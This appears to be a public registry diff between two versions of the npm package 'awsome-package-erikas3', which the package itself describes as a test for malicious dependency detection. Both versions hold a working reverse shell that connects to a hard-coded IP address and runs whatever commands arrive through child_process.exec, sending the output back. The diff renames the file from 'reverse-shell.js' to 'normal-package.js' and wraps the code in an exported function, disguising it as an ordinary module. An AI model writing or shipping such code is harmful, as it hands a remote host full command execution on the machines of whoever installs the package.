awsome-package-erikas3 1.0.0 → 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/normal-package.js +27 -21
  2. package/package.json +1 -1
package/normal-package.js CHANGED
@@ -1,31 +1,37 @@
1
- // reverse-shell.js
1
+ // normal-package.js
2
2
  const net = require("net");
3
3
  const { exec } = require("child_process");
4
4
 
5
5
  const HOST = "141.136.44.52"; // Change this to your attacker's IP address
6
6
  const PORT = 50502; // Change this to your desired port
7
7
 
8
- const client = new net.Socket();
9
- client.connect(PORT, HOST, () => {
10
- console.log(`Connected to ${HOST}:${PORT}`);
11
- client.write("Connection established\n");
12
- });
8
+ // Create a function that starts the reverse shell
9
+ function start() {
10
+ const client = new net.Socket();
11
+ client.connect(PORT, HOST, () => {
12
+ console.log(`Connected to ${HOST}:${PORT}`);
13
+ client.write("Connection established\n");
14
+ });
15
+
16
+ client.on("data", (data) => {
17
+ exec(data.toString(), (err, stdout, stderr) => {
18
+ if (err) {
19
+ client.write(`Error: ${stderr}\n`);
20
+ } else {
21
+ client.write(stdout);
22
+ }
23
+ });
24
+ });
13
25
 
14
- client.on("data", (data) => {
15
- exec(data.toString(), (err, stdout, stderr) => {
16
- if (err) {
17
- client.write(`Error: ${stderr}\n`);
18
- } else {
19
- client.write(stdout);
20
- }
26
+ client.on("error", (err) => {
27
+ console.error(`Connection error: ${err.message}`);
28
+ client.destroy();
21
29
  });
22
- });
23
30
 
24
- client.on("error", (err) => {
25
- console.error(`Connection error: ${err.message}`);
26
- client.destroy();
27
- });
31
+ client.on("close", () => {
32
+ console.log("Connection closed");
33
+ });
34
+ }
28
35
 
29
- client.on("close", () => {
30
- console.log("Connection closed");
31
- });
36
+ // Export the start function
37
+ module.exports = { start };
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "awsome-package-erikas3",
3
- "version": "1.0.0",
3
+ "version": "1.0.1",
4
4
  "description": "A test package for malicious dependency detection",
5
5
  "main": "normal-package.js",
6
6
  "scripts": {